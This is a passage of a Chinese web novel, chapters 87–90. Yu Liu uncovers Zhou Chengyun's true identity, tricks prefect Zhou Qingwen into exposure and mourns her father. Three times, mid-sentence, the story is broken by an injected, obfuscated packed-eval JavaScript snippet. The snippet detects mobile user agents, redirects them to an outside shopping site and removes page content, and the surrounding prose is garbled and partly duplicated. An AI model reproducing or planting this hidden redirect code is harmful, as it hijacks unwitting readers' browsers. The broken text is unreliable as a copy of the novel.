锦衣玉食的公子哥吃了一天囚犯的苦头,倒是没有一句抱怨,见只有她一人后先关心起她来了:“玉大人在山里找到想要的了吗?” 玉流有点跟不上:“你说什么?” 周承昀抓起自己的衣袍披上,自顾自问:“玉大人怎么知道那个周承昀是假的?” 玉流沉默了稍许,在继续问和回答间,选择了后者:“他没有梨涡。” 周承昀点着自己那点缺陷:“居然是这样,还是太匆忙了啊。” 玉流挑起眼,这样都听不出的话她就真是傻子了:“你是故意的。” 周承昀大方承认:“是。周清文不知道这件事,他允许周承昀跟你一同去是因为周承昀和他说谢公子会护周承昀周全。” 玉流皱起眉心:“你喊他什么?” “不行吗,”周承昀无所谓,“玉大人不是也这么喊吗?” 玉流:“我又不是他儿子。” 周承昀笑了,饱含深意道:“我不是,但我可以是。” “是什么?” “他的儿子周承昀。” 87. 两头骗 “呵呵呵……”玉流抿起唇,不算太诧异的神情中带着不可置信,还有不可察的谨慎,“那我能问问这位公子,你是哪头的吗?” 睁着的双眼轻轻颤动着,连玉流自己都说不准她想从眼前这人的口中得到什么样的回答。 周承昀坐到床边:“玉大人觉得呢,或者这么说吧,玉大人希望我是哪头的人呢?” 此时周承昀坐着,玉流站着,两个人以这样不平等的姿态相持着。 “呵。”人在很无语的时候真的会笑。 装什么大尾巴狼,迄今为止能玩她的只有宋繁声好吗! 而且他能玩她的前提是她乐意。 “不想猜,”玉流冷着脸,毫不客气道,“你要么说,要么说,不然我直接动手了。” 玉流边说着,边在手中转起了飞刀。 才解他困境的精巧白刃如蓬星而逝,碎绳的细末纷纷点点似星灰坠下,映出他的这张脸。 周承昀低啧:“好吧玉大人,我是你这边的,否则我怎么会帮你那位心肠卑劣的师兄呢?” 玉流:“……” 她有一种无言以对的感觉:“我曾以为你在人前的丝丝傻气只伪装。” 周承昀不赞成:“那不是傻气,那是纯良。我在周清文眼中,一直是因为生母早亡而有时缺根筋的好儿子。” 玉流冷漠地听着:“所以呢?” “玉大人,一般这个时候,你们这些聪明人不该听出点什么来吗?” 玉流侧身看了眼床外的天,周清文不会这么快回来,还来得及,那么她勉强能配合:“周夫人因为什么死的?” 周承昀更正:“玉大人应该问周夫人是何时死的。” “何时?” “回天城出现的那一年。” 此刻,玉流在寒山中被雪雾吹得冷僵的脸上终是浮现出震惊的神色。 在玉流问出她的疑惑前,周承昀站起来,她竟然在同她相差无几的青年脸上读出了欣慰。 只听见周承昀道:“我并不愿以这样的方式相见,但似乎在这样扑朔迷离的局势中,我也找不到一个更好的节点,那么我只能说,再次见面,你比三年前张狂了许多,若是光看背影的话,似乎有点叔叔早年的影子了……时瑀妹妹。” 玉流的双脚仿佛被拦腰截断了膝骨,脚下软松了半步,她扶住最近的桌案才勉强站稳。 拧紧又舒展的眉宇间,写下了玉流无声息而来的答案:“你是长生军的后人。” “是,更准确一点的话,我的父亲是时将军的副将。” 将军这二字玉流近来听了有几次,不鸣和尚在前面加个“小”,包打听则是添个“罪”,只有昔日的旧部才会这么喊——时将军。 玉流竟也有一瞬间的恍惚:“我以为当年朝廷中和十二皇子有关的人都死光了,除了姓时的这几个人。” 周承昀挠头,不太着调地翻过当年的惨案:“杀令下得急,长生军又那么多人,总会有纰漏的,更何况那时候邳州还没清空城里的百姓,乱中添乱,总会有那么一两个滥竽充了数。” 他道:“时家有一个,周家也有一个。” 玉流没有搭理他的这句话:“原来的周承昀呢?” 他没直接说:“你应该挺好奇的吧,为什么周清文没什么真本事却能稳居邳州知州近二十年,因为寒山的惨案就是他一手造成的。彼时周清文还是邳州之下一个小小的村正,专会审时度势,围抓妇孺刑讯逼供胁迫长生军主动现身就是他上交的法子。” “你知道的,这很管用,在战场上不惧自己战死,唯怕家中妻儿遭遇不测……可惜后来无一生还,或许是报应,周清文的功绩簿上一个一个的人头画上去,家里却失了火。” “他夫人是个信佛的善人。她从来送银子的官兵口中得知自己夫君做的好事,知道这是会遭报应的,想着家中的老母亲,还有才三四岁的儿子,不愿周清文一错再错,于是她借了辆马车想去邳州劝回周清文,很不幸,半夜遇上大雨,她被滑落的山石砸死了。” “至于她的儿子,或许是因为母子连心,在母亲死去的那一晚,他从屋中走出来,呆呆傻傻地走了几里的山路,冻死在离他母亲最近的一个路口。” 他惋惜着,为那两个死去的无辜之人:“报应总是落不到恶人身上。” 玉流不可置否:“然后呢?” “然后,林姨找到了他们,在其他人发现之前。也不知道是谁想的法子,想让我去替代他。几岁的孩子一天一个样,周清文很久没有归家,我母亲又同周夫人有六份像,说不定能瞒天过海。” 玉流:“那周清文的老母亲呢,她活得好好的,怎么会不记得自己孙儿的长相?” “所以……有人下药让她暂时失明了几个月,”他说,“这并不高明,甚至一着不慎满盘皆输,但老天爷偶尔也会发发慈悲,渡一渡苦命人。” “我活了下来,成了周承昀。” 尘埃落定,认贼作父,苟且偷生。 二十年的故事就被他这么三言两语地说完,轻得两只耳朵一进一出就放下了。不过这样也好,细说谁都无法承受无声蔓延了二十年的涸血之河。 尤其是他们两个屈指可数活下来的人。 玉流:“你倒是忍辱负重,真成了周清文的宝贝儿子。” “算不上,他杀孽太重不能再有子嗣,我作为他老周家唯一的后代,他只能爱护我。” 他扬起头,伸手接住从窗外漏进来的天光,直至掌心手背抹上一层亮,暖透了里面的血肉,他才道:“你和林姨能忍受鬼聚的寒山,时琚和叔叔能熬过不输炼狱的人间,我这点苦又算得上什么?” “我也想帮你,”微红的眼中无一不是真诚,他道,“总不能让你一个人担下这些苦果。” “那你帮上了,”玉流道,“我知道了周清文恐惧寒山的原因。但我想不明白,你怎么和宋繁声勾搭上的。” “这么好的时候一定要提你那位扫兴的师兄吗,”周承昀唉了声,挥手举拳,粗声道,“呃啊——要不是身份不合适,我早些年一定到崇州帮你教训他。” 一股书生气的儒秀公子突然神似五大三粗的壮汉,玉流沉默了。 这一句他不像是演 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890112|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说的,所以这才是他不当周承昀时的真面目吗? “不需要,我和他之间你不要干涉。” “好吧,”他又恢复了周承昀时的声线,仿佛刚才是玉流看岔的错觉,“所以玉大人是信了吗,不质疑我一番吗?” “我是信他。若你对我有威胁,你已经成为他的剑下魂了。”玉流淡淡道。 “唉,原来我还沾了小宋的光了,”他这才正色道,“这么说吧,宋繁声三年前来找的我,在你回来之前,他几乎……算对了所有走向。你的师兄啊,的确是个妙绝之人。” 这句话不是他出自他口,但此刻说起来,他是真心的。 他用沾上暖阳的手拍拍她的肩:“长辈的眼光总是好的。” 不论是林姨,还是叔叔。 他为你做的事是他们这辈子都无法做成的。 “玉流,该说正事了,”从过去的悲悯中抽出心神,他继续说,“想好怎么对付周清文了吗?” 玉流:“动手。” “这么直接?” “不好吗,你不想他吃尽极痛却死不了吗?” “想,但是……”他想到了什么,提醒她,“周清文这几年在邳州做得不错,得了不少民心。玉流,你不能在他身上落下口舌。” 玉流也提醒他:“我的名声本就不好,不差这么几张嘴。” “那你回京了怎么说?” “放心我想好了,”玉流移花接木的本事还是从那几个人上人手里学来的,“虽然不太有道德,我会把诸几扯进去。” “好主意,能深入一下吗,”他划转着手,“我们换一换因果,如何?” 玉流立即领会了他的意思:“这才是你要放开回天城的道理,你和宋繁声早就商讨好了?” 周承昀满意地笑着,坦荡道:“不错。任谁知晓了都要说一句天时地利人和。” 对,玉流心道,人和,和得不能再和了。 “那这样,”玉流突然伸手扣住他的下颌,“你做的这一切我暂且称为有病,你能有这耐心,不如找个机会直接弄死他……算了,你脑子不好使,身子总好使的吧。” 周承昀的额头跳了一下,缓缓合拢双臂,含糊道:“我觉得这样不太合适吧,不说你那位要死要活的师兄,还在城里心思比兔子洞还多的谢公子,还有我的老朋友——也就是你名义上的兄长……就说眼下这个时机,不太好,不太好。” 玉流扯了扯嘴角:“想什么呢,我说你这副身子抗揍吗,能演戏吗,我要逼周清文就范。” 慢了半拍才听懂的周承昀哦了老长一声:“是这个意思啊,可我这人吃不了太痛的苦头的,要不然这样吧……” 周承昀露出非常可恶的微笑:“其实我有一个更好的人选……” “管家不是周清文的狗吗?”她问。 “当狗才能往上爬啊,”周承昀俯身在她耳边悄声道,“他十几年前来的时候就古古怪怪的,总是一副老好人的样子,不清楚是谁的人,但是定有所求,我们……” 玉流吊着眼尾,琢磨着他的意思:“你想两头骗?” 88. 三幕戏 此刻,偌大的知州府在玉流耳中没有一息响动。 浑身的鲜血倒流着,她的眼前落了一座横亘在三年天堑上的四方琉璃桥,衔起了两端的小世界。 无论是吓得直磕头的管家,大伤咯血也要诟谇的周清文,还是站在一旁不知所措的周承昀……三人跟三折的屏风似的,作为看客的玉流坐在藤椅上摇摇晃晃,怎么看都能在一段没头没尾的寂静中品出点台上戏本子的精彩。 更何况,她还是促成这三幕戏的后手。 双耳声不闻,玉流别过脸,神色复杂地望向知州府一侧的围墙。 墙外,站着适时出现帮她绑了管家的谢遥知。 起先玉流不知他为何而来。 然后她便发现管家的眼珠子游移到了她身后的谢遥知身上。 管家在怕,怕她。 更怕他。 她没看见谢遥知做了什么,只知道管家成了烫水里煮沸的豚骨,一个一个密密麻麻的小孔之下,髓液咕咕地冒着求饶的哀号。 忽然,管家气一岔眼一闭,人就软塌塌地倒下了。 玉流这才知道管家是谁的人。 “啧,周清文的人也真是没用,”谢遥知评价完了,问,“我转悠了大半圈都没找到周承昀的影子,所以回来问问你,有好消息了吗?” “有,我已经找到他了,”玉流不问他为何总能把时机凑得如此巧妙,而是立即决定把两头骗的计策落到实处,“周承昀是我到的那日被换掉的,下了迷药被藏在床板下一直睡着。他应该不知情。” 谢遥知拍去身上从管家那儿沾来的灰,吹了一口气:“玉流,别心软。他就算不知情,留下也是个隐患。周承昀跟着你我进回天城可是被人亲眼看见的,你也不能保证他会不会把那个假周承昀的事情说出去。” “我知道。但相比起儿子,我更想烦老子。羽翼未丰的鸡崽得靠他老爹,老爹没了他想说也无路无门,”玉流道,“总之我想把周清文拉下来,你有什么好主意吗?” 谢遥知不免惊呼:“还真是——守着冷锅的厨子快渴死了,临死前爬起来一看,呦,锅里煮的雪居然融了。唉,难道我还在禁山里做着梦?竟然会听见你向我请教。” 一得意狐狸尾巴又开始翘了。 玉流白了他一眼:“说不说,不说滚。” “说啊,为什么不说。不过在说之前,你得先告诉我你圈好了怎么样的笔墨坟墙,”多年朋友,谢遥知还是对她有那么几分了解的,“这样我才好给里面填土做屋。” 露头的椽子先烂掉,她要藏在泥巴墙里:“我想把诸几走进禁山的缘由安到周清文头上,现在,缺根连接的鱼线。” “你再这么看着我,我会以为你指的是我。” “不,你当不了鱼线。你和我既已相识,由你来钓周清文,他一眼就能看出我们在搞什么名堂。我要让他多看几眼。” 谢遥知没否认:“那你想找谁?” “他,”玉流指着地上被吓昏的管家,道,“跟了周清文这么多年,手里总有点把柄在的,心腹背叛的戏本也更好看。以我的手段逼他当共犯轻而易举,唯一的问题,怎么犯。我想着,凭你玉公子的嘴上功夫,搬弄是非颠倒黑白串一章能成篇的瞎话应该不难吧。” 谢遥知嘿了声,不以为耻反以为荣:“你这人还真是懂我。行,不就是帮你搅一次浑水吗,多大的事儿,反正这周家池子的水也脏得很。” 说着,谢遥知屈膝半蹲,摸着下巴瞧着管家。被宋繁声堵了半个月的肝火全变成了坏水,噗噗地往外喷。 于是,这样就有了第一幕。 反水的管家扑通一声跪在地上,嘶——跪得太早了。 管家牙齿打颤,忍着腿骨撞地的疼,扑向还摸不着头脑的周清文,一把鼻涕一把泪道:“大、大人,我对不住你啊,她、她都知道了……” “知道什么,”周清文反应也是快,当即察觉出管家的异样,“不就是本官没有及时派人去禁山搜寻诸大人吗,这也不能怪我,那座山头本就怪异,从来都是有去无回。诸大人的命是命,本官手下的命就不是命了吗?哪有这样的道理,玉大人说是不是?” 周清文被管家抱着,举步维艰,腿抬了半晌都没能移动半步,又被玉流盯着,不得已控着力气踢他,张嘴不出声道:“别犯蠢。” 管家今日傻得过头了:“可是大人,公子那边不太妙啊,真的公子在府中……假的,假的——” “什么假的,我看你也发疯了,给我清醒点,”周清文顾不得拔腿了,胡乱地卷起袖子揪住管家的发冠,将头拎起来,横眉竖眼看向玉流,冷哼道,“真的承昀假的承昀,什么东西,不知道本官为了找承昀奔波了几个时辰吗?不说玉大人你进府押人符不符合规矩,就说承昀现在在哪儿,你也得给我个交代!” 周清文扭着脚,踢开碍事的管家,三白眼吊起,刻薄相毕露:“本官真要好好问问玉大人了,你把我儿子害到哪儿去了!” 玉流招了招手,看见了下一幕。 第二幕,大义灭亲。 不得不说周承昀有两把刷子。 后脑一磕,绳子一勒,刀刃一划,头发一抓,衣裳一扯,腰背一挺,再来个眉眼一拧,一位受了委屈仍不肯屈服的骨气青年便跃然而现。 “承昀你这伤,玉流——” “不要吼她!” 见周清文愣住了,玉流顺势朝他笑了一下。 周承昀避开周清文的触碰,眉心划过一抹厌恶:“你不想让我去回天城直说便可,没必要和那位谢公子做这样骗人的勾当,不齿又歹毒。” 周清文那是爱护他,当即为自己辩护:“你怎么也尽说一些胡话。我只是让小谢把你拖住,不让你跟着进山而已。到底怎么回事,你怎么会伤成这样?” “‘心诚人诚为人之本’,自小你就是这么告诉我的,怎么到了你自己身上却做不到了,”周承昀退后一步,摸着自己后脑的肿块,道,“我不懂你和诸大人玉大人,还是外侯官之间生了何种恩怨,竟然会让你做出残害同僚之事,连我都成了你的棋子,把我打晕换上歹人,想让玉大人也迷失在禁山里——” 周承昀微顿,似是嘲弄般,低哑微弱道:“我很失望,也觉得不堪。” 这一句,是诚心诚意的。 双拳难敌四手,一张嘴也说不过两张,但周清文到底在官场沉浮久了,又是亲历当年镇乱之人,二十万人遮天蔽日的白骨红血都见过了,这点小风浪根本看不上。 周清文转过弯儿来了:“哈哈哈哈……想用这种下贱的手段来害我,玉流,你当我是范有恩那傻货?” 虽孺子不可教,但虎毒不食子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13917326|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “看上她了?怪不得死活要跟着,还真当你要为我分忧。读书读傻了,都忘了我怎么教你的,是‘心诚人诚但不能害家人’,还有,‘貌美的女子最是心毒’,”周清文推开周承昀,“走开,给我站一边去! “玉流,”周清文昂着头,睥她,“空口无凭是罪,栽赃嫁祸更是罪,你说的这些事本官压根不知道,什么假扮承昀,什么逼迫诸几,一通狗屁!” 想把他拉下去,她还欠点火候。 周清文道:“念你年纪尚小,本官可以大人不记小人过,当作没发生,饶恕你这一次。” “是么,”玉流无所谓地耸耸肩膀,“你的管家可不是这么说的。管家也别跪了,该起来说话了。” “呵,”周清文更是不怕,“本官不像你。为官这些年向来行得正坐得端,管家有什么能说的!” 玉流:“听听不就知道了。” 第三幕。 太过混乱。 管家爬起来,走了几步,又扑通一声跪下来,冷汗涔涔:“也是有能说的。比如三年前……您、您毒死罪将啊——” “混账!”周清文冲来扬手就是一巴掌,提着他的衣襟低声威胁道,“别忘了你家里还有人在。” 管家捂着红胀的脸,清晰的五指印下,怯懦地低下头。 而听见那半截话的玉流,周承昀,乃至府外的谢遥知都为之一怔。 其一,这不是他们事先安排好的唱词。 其二,他提到了不该提的人。 她被一枚棋子耍了。 周承昀不安地看向玉流,藤竹在她手中扭断,簌簌地落地。 “说下去,如果你还想让你的父母妻儿活着的话,”玉流漠然开口,毫不畏惧周清文的仇视,“怎么,以为我空手来的?周清文,你也太小瞧我了。真当外侯官是摆设?真以为邳州姓周了?” 没人看清玉流是如何出手的,再回神时,周清文已经倒在地上,胸口没入几根细长的藤条。 一口一口的血吐出来,管家脸色煞白,下意识摸上自己被飞过的藤条擦出血流的脖颈。 知州府内杀意滔天。 脑子还未想好,身子已经开始磕头了,管家道:“其实,诸、诸大人当时暗中来过府衙,问最近是否见过陌生人进邳州。大人问他找谁,他却说是机密……那时候城里的失踪案还拖着未破,大人不想他久留插手,便说没有。” “诸大人应该是信了,本想走的,却无意间发现了城点夜灯的习惯,似乎还有探究的意思。大人说京城的外侯官就是快饿死的狗,闻着腥味都能叼出点肉末来,怕……”管家咽了口唾沫,“怕他深究下去会发现当年之事,就告诉他,好像前几天有几个眼生的进了回天城那边的山……” 他们串通好的瞎话,管家自己发挥的瞎话交织在一起,简直如雷贯耳,振聋发聩。 玉流起身,一脚踹晕管家,跨过,站在周清文跟前。 周清文还在骂,骂她,骂管家,骂儿子。 玉流蹲下,握住藤条,拔出又落下,停在离他眼皮一厘的地方。 眼睛被扒着,藤丝滚落一滴冷血,盖上他的眼珠。 玉流:“我还以为你点灯是怕寒山诸鬼,没想到是怕时不愁的亡魂来寻仇。周清文,赵徥赦免的人都敢杀,你说说你……只能以死谢罪了吧。” 89. 爱恨乐 将周清文弄得半残后,玉流抹去刀刃上的血,敛好差点失控的情绪。然后,她被直觉所惑,掰过管家的头。 不出所料,他的耳后也有一个字。 非“月”,是“日”。 可笑至极。 她抬手按在唇上,同周承昀对上眼:“嘘。” 接下来,她要先对付谢遥知。 走门绕一大圈太麻烦,玉流直接走墙了。 跨坐在墙头上,玉流抬腿踢他:“墙角听够了没,别站着了,赶紧去把你的人从邳州和回天城里撤出来,一个都不准留下。” 谢遥知转过身,捏上发麻的肩:“玉流,你以前不是这种小贼作风的。” 玉流:“那是你识人不清,我是这种人。” 只不过以前被宋繁声压着,她藏起了很多小性子。 谢遥知轻啧:“现在知道了。你要我去撤人可以是可以,我能问一句你准备把他们怎么办吗?” 玉流托出自己准备好的说辞:“管家我会交给外侯官,由他们再逼些有料的东西出来。周清文杀的人不能说出去,我另找大罪安到他身上,现在先软禁在府中。周承昀……我还有用处。” “我知道你想说什么,”玉流摆手,“不用你教,我有分寸的。周家不能一息消失,否则我的嫌疑会很大,回京之后我也讨不到什么好处。” 其次,周清文。 周清文病了,汹汹而来又悄无声息。 再正式点的说法,邳州知州因外出巡视染上风寒,寒症入体,手足虚软,口不能言,更不便见人。 邳州城暂由外侯官代管。 最后,周承昀。 周清文重病的坏消息由周承昀来说最合适不过,没人会质疑什么,毕竟自周清文回到府中以来,这短短半个时辰内发生的所有事情,只有那么五个指头的人知晓。 知州府的那些下人也不是被关押了,是周承昀用周清文的名头给了他们一笔银子,让他们回家歇息几天。 他们在邳州差役和城内百姓的眼皮子底下大摇大摆地走了出去,没惊起半点水浪。 正如周清文所言,他在这座城里的确是个好官,突然来了善心要善待府中的下人自然也没有什么令人奇怪的。 至于管家……大抵是活不了了。 她能保证他进侯官署的时候还活着,之后,就看天命了。 阴阳面……她可不好说。 清走了这三个多余的人,周承昀才敢走过来:“谢公子就这么走了?” “嗯,”玉流心不在焉,“我多跟他说了句话,他估计有些晕了。” 周承昀点点头,他不是一只好奇的猫,她自个儿的私事,他就不多掺和了。 周承昀正好衣冠,犹豫了片刻,低声重提那件半途而止的旧事:“玉流,我不知道叔叔他——” “不是,没有隐情的,他就是想死。”玉流垂下眼,埋匿眸中的萧瑟,平平淡淡地说起那场静寂的死亡。 在她短暂地归来又离开后,时不愁于回天城坠落。 当时根据周清文上报朝廷的说法,时不愁是心悸而亡。 没有人会去过问他为何心悸,就好像时不愁早在二十年前死去。 事实上,他于十五年前心死,三年前身死。 玉流说不出的讽笑:“周清文算得了什么,一个自私自利的小人罢了,时不愁怎么可能会看不出来周清文想杀他,他只是顺水推舟,在同我相见后毅然决然地选择抛下我,去寻他的归宿。” 因为一个人再撑十五年,又因为一个人决定去死。 …… “你老了很多,你配不上她了。” “我一直都配不上她。我的青霭姐姐从来值得更好的,是我强求撞上了大运。”时不愁笑着摸上半灰半白的头顶,他为了今日特地找了一身最好的衣衫,修面修发,可枯木再如何逢春都无法掩盖枯木的底色。 从前的意气风发只剩悲凉,苍老的轮廓是困住他的枷锁。 “你长大了,没有缺胳膊少腿,他把你养得很好。”眼眶就这么红了,时不愁有欣慰,更多的是欣幸。 真好,我的女儿长得像她的母亲,而非像我。 玉流撇嘴:“你知道什么,师父哪里有养我,他就是个懒鬼。” 时不愁微笑着:“我不是在说他。” 玉流:“什么?” 时不愁摇头:“没什么,小瑀……” 他想上前,又怕惹得她不快,抬起的脚尖放了下来:“小瑀,我真的很高兴你愿意回来,我在有生之年还能再见到我最亏欠的人——” “住嘴,”玉流不耐地打断他,别过脸不去看时不愁浑浊的眼睛,“我回来不是为了听你说这些家长里短的废话的,我也不想知道你这些年的心境如何。我只是想要一个答案,你当年明明那么无辜,为什么要和长生军一起认罪!” 他怔了怔,而后凝视着她那张像极了林青霭藏了半辈子的侧脸,慢慢道:“小瑀,原来你真的不愿放手……” 时不愁自始至终都没有告诉她为什么。 那几句断断续续可有可无的碎语却在她心中落下滚烫的烙印。 “小瑀,是我们对不起你,我们也对不起很多人,原谅我们的懦弱……不要去恨你的母亲,也不要去恨小琚,恨我就可以了,从来都是因为我……我知道对你来说,爱不及恨,我没有资格教你些什么,如果注定爱恨永长,我也希望你能长乐未央。” 可他说错了。 我恨林青霭做什么,她废了半条命生下我,还在寒山中庇佑了我这么多年,我为什么要恨她?还有时琚,他这些年过得,又能比我好到哪里去? 但有一句是对的。 我的确恨他。 在三年之前,我恨他是因为他让怀着身孕的母亲一个人在寒山中受尽白雾之苦。 让一个弱女子去镇压山中的不死鬼,懦夫! 而等我回来时,我再恨他,恨到如今,因为他和林青霭一样,都不愿陪我走下去。 无声滑落的泪水朦胧了双眼,玉流似乎又看见了当年的最后一面,只是时不愁的身边不再是空无一人。 她攥紧了掌心,亲手刻下的刺痛让她不能闭眼。 身后的周承昀发觉出她的失神,轻轻搭上她僵硬的肩膀。 眼前出现一方白帕,玉流道了声谢,接过来盖住湿红的脸,压下细微的哭音道:“所以,你没有必要自责。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930524|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是想死,你和时琚根本拦不住,就算没死在周清文手里,他也会自己想办法自尽。” 于我而言,爱和乐是珍宝,可遇不可求,只有恨唾手可得,绵延永长。 于我的父亲而言,赴死才是解脱。 如果这就是你想要的,那么我会原谅你。 “多谢……那你之后是,就走了吗?”周承昀问她。 “嗯,我来找你前郎中说他会尽快让诸几醒来,等他们都准备好了,我就要回去了,”玉流揭下帕子,“你呢?你不是时琚,朝中那些该死的老头不会记得你,等周清文死了,你就没有必要再继续当周承昀了。” “我?我……” 只有他自己知道这样的愿景他等了很久。从成为周承昀的那一天起,他就无时无刻不想脱去这身虚假的行头,但当这样的喜事真的落入他的手中时,他却沉默了。 玉流压下眉,她从他的迟疑看出了他的想法:“你想留下。” “我知道你觉得我没有留下的理由,但事实上我有。不仅仅与你和时琚有关,还……”他顿了顿,苦笑道,“玉流,爱会生恨,恨也会生爱,你能明白我的意思吗?二十年太久了,我也不想如此,可总有那么一个人,总有……” 无人发现,不知什么时候起,从邳州之外飞进一只灰雀,扑棱棱的羽翼慢振,盘旋在知州府的上空。 黑豆似的眼珠咕噜噜地转着,它找到了它想要的青树。 它选了一枝细长的枝条,淡红的脚只落下一只,另一只藏在腹下。 胖嘟嘟的身子压弯了树枝,从树头直直弯到玉流的身边,至此还不肯罢休,挺起胸前灰灰的羽毛,啾啾地鸣唱,突兀又刻意。 周承昀忍了忍,没忍下来。他认识这只鸟,但问题是为什么这个时候它会出现。 “听它的调子,它是不是在叫你?” 玉流:“嗯?” 回天城,禁山下,时府。 “如果你想伤早点好,就不要站在风口。”时琚生硬地提醒着靠在墙上远望邳州的青年。 青年闻言,敷衍地动了动腿,换了舒服的姿势继续看着,青白的脸上没什么血色,懒懒道:“为什么要帮我,三年前我来的时候,你和周承昀都恨不得杀了我。” “想杀你是因为你对她的确太过分,”时琚的自卑和胆怯分人,提及玉流,他的神情柔和下来,“帮你是因为她喜欢你,我不想让她难过。” “所以这就是你和周承昀煞费苦心安排个小姑娘来,让她在我和玉流之间暗中作梗的理由吗?” “是,”时琚没有追问他是怎么猜出来的,唤来院中啄羽的雀鸟,“宋繁声,它能找到周承昀,也就是说它能找到玉流,趁她还没走出邳州,告诉她你还活着。” 宋繁声低头盯着这只丑鸟,笑了声:“时琚,她知道我不会轻易死去的。” “那就更该她安心,”时琚说,“心居然长在另一侧,你还真是好命。” 宋繁声没作声,抬头,望向无垠碧空。重游鬼门关一回,跟天讨命受罚,形消瘦风骨立。 他不悔。 在怀中摸了摸,宋繁声找到了他想要的,虚握拳头递过去:“那就辛苦你了,大舅哥的鸟?” 90. 此别后 玉流伸手,灰雀扇动着小翅跳至她的臂弯,小脑袋转了半圈,同她小眼瞪大眼。 玉流吸了口气,掂了掂胳膊,从它乌黑的眼珠移至灰白镶棕红的飞羽上,点评道:“太胖。” 灰雀忽地抬起脑袋,朝天高昂地“啾啾”两声。 玉流:“什么意思?” 周承昀扶着额头:“不要说它胖。它会受伤的,心伤。” 灰雀又啾啾两声,似在附和。 “抱歉,”玉流挑着眉不太真心,问周承昀,“别告诉我这是你的鸟。” 周承昀:“呃,算是,主要还是时琚在养。” 玉流舔着腮帮子,指尖点在它圆鼓鼓的腹羽上:“这么说来,你和他在这里的日子过得还挺悠闲的。让它过来找我做什么?” 周承昀:“不知道。” 玉流只好问它:“你来做什么?” 灰雀高傲地翘起尾羽,一直曲着的另一只脚拿出来,示意她伸出另一只手。 玉流虽不明所以,但还是选择了配合。细长的小爪子一松,小东西滚进手心的那刹,玉流微怔,心口不禁轻颤。 而后她攥紧掌心,低眉弯目,小心地将它放进腰带中。 灰雀完成了自己的任务,飞到周承昀的肩膀,周承昀点了点它的脑袋算作夸赞:“回去吧。” 目送灰雀振羽飞离知州府,周承昀才同玉流道:“你似乎高兴了些。” 玉流嗯了声,正要说些什么,她先前安排在内院的外侯官走了过来,在玉流身边低声道:“大人,周老夫人以死相逼,说要进来。” 玉流微惊:“她醒了?这么快?” 起先听周承昀说周老夫人不喜下人伺候,常年一人住在内院清修,想着请老人家离府也麻烦,于是玉流就直接让周承昀给她喝了点迷药,反正听不见周清文的惨叫就行。 看来是因为怕伤到老人家的身体,剂量放少了。 玉流看了眼周承昀,而后道:“她要见谁?周清文还是周承昀?” “都不是,她要来见您。” “来见我?”玉流和同样诧异的周承昀相视一眼,后者微微摇头表明他并不知情。 玉流稍作思索,道:“我和周公子过去见她吧,你们去盯着周清文。他要是醒了就喂点药,先别让他死了。” “是。”外侯官领命离开。 玉流先前只知周老夫人住在内院西侧,等走进垂花门后,才发觉西侧只有一座佛堂。 “劳烦玉大人亲自走一趟。”周老夫人佝着背站在佛堂门口,小小的一个,看着是位很讨人喜欢的小老太太。 玉流难免感慨,周清文那样笑里藏刀的老小人居然有位如此慈祥和善的……瞎眼母亲。 玉流用眼神询问周承昀:“她的眼睛怎么回事?” 周承昀不答,只是匆匆过去扶住老夫人,柔声道:“奶奶,玉大人已经来了,外面风大,咱们回去坐着吧。” 瞧着他慌张的举动,那点忧心完全不曾掺假。玉流恍然大悟,原来这才是周承昀说的某一人。 老夫人拍拍周承昀的手,朝向玉流:“娃娃,能让我这个老太婆摸摸吗?别担心,我只是想摸摸你的脸,我没有恶意的。” 玉流看着周老夫人覆了一层白霜的眼睛,迟疑了些许,终是走上前来。 老人家苍老松软的手掌摸上了玉流的脸。她看不见,只能凭着感觉,从眉骨一点点往下摸索,手指停在玉流的面颊处时,她闭上眼,明了了:“这就是命吧,我早就知道这一天会来的。” 老夫人收回手,再睁眼时,浑浊的泪滴铺满沟壑纵横的老脸,她挣开周承昀的手,双膝一弯,跪在玉流跟前。 不说周承昀,连玉流都被吓到了。 “奶奶!” 周老夫人推开周承昀,缓缓地诉说起二十年前的往事:“皮相可以改,骨相变不了。那位姑娘生着一张平平无奇的脸,却和你一样有锋利的眼骨和棱角。而你之于她,更甚。” 玉流蹙起眉心,声冷了几分:“你也摸了她的脸?” 老夫人笑了笑:“娃娃,除了脸之外,你和她就不太像了。” 这般说着,她突然重重地磕起了头:“玉大人,清文做了错事,杀孽太重,天理不容,但他始终都是我的儿子,我在二十年前甘愿受罚,三年前也替他承下这份天谴……求您,念在我已经失去儿媳孙儿的份上,能放他一条生路。” 此言一出,周承昀的脸瞬间死白,而玉流只是笑笑。 “老夫人虽眼盲,心倒是比周大人看得更清楚,可是,”玉流蹲下,没有一丝的怜悯,“你这双眼睛,能补得上那么多条的人命吗?” 